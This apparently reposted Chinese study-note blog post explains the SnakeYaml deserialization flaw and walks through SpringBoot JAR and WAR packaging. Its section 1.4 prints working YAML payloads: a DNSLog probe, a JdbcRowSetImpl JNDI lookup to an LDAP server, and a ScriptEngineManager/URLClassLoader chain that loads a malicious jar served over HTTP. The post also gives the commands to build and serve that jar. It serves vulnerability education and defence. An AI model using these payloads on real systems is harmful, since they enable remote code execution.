文章总结: 本文阐述SnakeYaml反序列化漏洞原理与DNSLog、JNDI注入、SPI机制RCE三种利用方式,提出白名单防御建议。同时介绍SpringBoot项目JAR与WAR打包部署流程,并针对JavaEE部署源码泄露风险,建议混淆代码与外部化配置。 综合评分: 85 文章分类: 漏洞分析,实战经验,漏洞POC,应用安全,安全开发
第52天-Java安全之SnakeYaml反序列化与SpringBoot打包部署实战
原创
萧瑶 萧瑶
AlphaNet
2026年2月25日 11:41 江苏
在Java开发中,数据的序列化与反序列化是常见操作,它们用于对象持久化、网络传输、配置解析等场景。然而,不安全的反序列化也可能引入严重的安全漏洞。本文将首先探讨SnakeYaml库的反序列化机制及其潜在的安全风险,随后详细介绍SpringBoot项目的JAR与WAR打包部署方式,帮助开发者全面理解这些关键技术点。
一、SnakeYaml反序列化
1.1 SnakeYaml简介
SnakeYaml是Java中用于解析和生成YAML格式数据的库。YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化格式,常用于配置文件。SnakeYaml提供了简单易用的API,能够将Java对象与YAML文本相互转换。
Maven依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.32</version>
</dependency>
1.2 基本使用
SnakeYaml的核心功能通过Yaml类提供:
· Yaml.dump(Object data):将Java对象序列化为YAML字符串。
· Yaml.load(String yaml):将YAML字符串反序列化为Java对象。
· Yaml.loadAs(String yaml, Class
测试发现:load()和loadAs()在反序列化时会调用目标类的setter方法,这一特性为漏洞利用埋下了伏笔。
1.3 反序列化漏洞原理
SnakeYaml在反序列化时,允许通过YAML内容指定任意类的全限定名,并实例化该对象。如果应用从不可信来源加载YAML数据,攻击者可以构造恶意YAML,触发目标类的构造方法或setter中的危险操作,导致JNDI注入、RCE等后果。
下面介绍三种常见的攻击载荷(Payload)。
1.4 攻击载荷示例
(1) URL链(探测DNSLog)
利用java.net.URL类发起网络请求,可结合DNSLog平台验证漏洞是否存在。
!!java.net.URL ["http://your-dnslog-domain/"]
当SnakeYaml反序列化此YAML时,会创建URL对象并尝试连接(例如调用hashCode()或equals()触发DNS解析),从而留下访问记录。
(2) JdbcRowSetImpl链(JNDI注入)
com.sun.rowset.JdbcRowSetImpl是JDK自带的一个类,其dataSourceName和autoCommit属性可触发JNDI查找,若配合恶意LDAP/RMI服务器,可实现远程代码执行。
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true
反序列化时,setAutoCommit(true)会调用connect()方法,从而执行JNDI查找,加载远程恶意类。
(3) ScriptEngineManager链(SPI机制+RCE)
这是最经典的SnakeYaml RCE利用方式,通过SPI机制加载恶意Jar包。攻击步骤:
-
编写恶意类:实现javax.script.ScriptEngineFactory接口,在getScriptEngine等方法中写入恶意代码。
-
编译并打包:
javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
- 启动HTTP服务:将jar包置于Web服务器(如Python的http.server)。
python -m http.server 9999
- 构造YAML Payload:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]
]]
]
当SnakeYaml反序列化此YAML时,会创建URLClassLoader加载远程jar,然后ScriptEngineManager通过SPI机制实例化其中的恶意ScriptEngineFactory,导致任意代码执行。
安全提示:在生产环境中,务必避免直接反序列化不可信的YAML数据,可通过白名单限制类加载,或使用安全的配置解析库。
二、SpringBoot打包部署:JAR与WAR
SpringBoot项目通常打包成可执行的JAR或传统的WAR文件,分别适用于不同部署场景。
2.1 JAR包部署
SpringBoot默认打包为JAR,内嵌了Tomcat等Servlet容器,可直接通过Java命令运行,无需外部Web服务器。
打包步骤:
-
在pom.xml中确保使用spring-boot-maven-plugin(SpringBoot项目默认包含)。
-
执行Maven命令:
mvn clean package
- 运行JAR:
java -jar target/xxxxx.jar
常见问题:
· 端口冲突、配置文件缺失等。参考解决方案:
· https://blog.csdn.net/Mrzhuangr/article/details/124731024
· https://blog.csdn.net/wobenqingfeng/article/details/129914639
2.2 WAR包部署
若需要将SpringBoot应用部署到外部Tomcat等容器,需打包为WAR。
修改步骤:
- 在pom.xml中修改打包方式:
<packaging>war</packaging>
- 修改启动类,继承SpringBootServletInitializer并重写configure方法:
public class TestSwaggerDemoApplication extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}
// ... 其他代码
}
- 执行打包:
mvn clean package
- 将生成的xxx.war复制到Tomcat的webapps/目录下,启动Tomcat即可自动解压部署。
注意:需要排除SpringBoot内嵌的Tomcat依赖,以免与外部容器冲突(通常通过设置provided作用域完成,但SpringBoot官方starter已处理)。
三、安全提示:JavaEE源码架构
在JavaEE应用部署时,需注意源码泄漏风险。即使没有直接提供源码下载,攻击者仍可能通过反编译WAR或JAR中的class文件获取业务逻辑。因此:
· 部署前应混淆或加密关键代码。
· 避免将敏感信息(如数据库密码、密钥)硬编码在配置文件中,可使用外部配置中心或环境变量。
四、总结
本文介绍了SnakeYaml反序列化漏洞的原理与常见利用方式,并梳理了SpringBoot项目JAR与WAR打包部署的流程。理解这些知识,既能帮助开发者在日常编码中规避风险,也能提升部署运维的效率。希望读者在实际开发中保持安全意识,构建更健壮的Java应用。
参考资料:
· SnakeYaml反序列化分析
· SpringBoot打包部署指南
(本文为学习笔记,部分示例仅用于安全研究,请勿用于非法用途。)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第52天-Java安全之SnakeYaml反序列化与SpringBoot打包部署实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论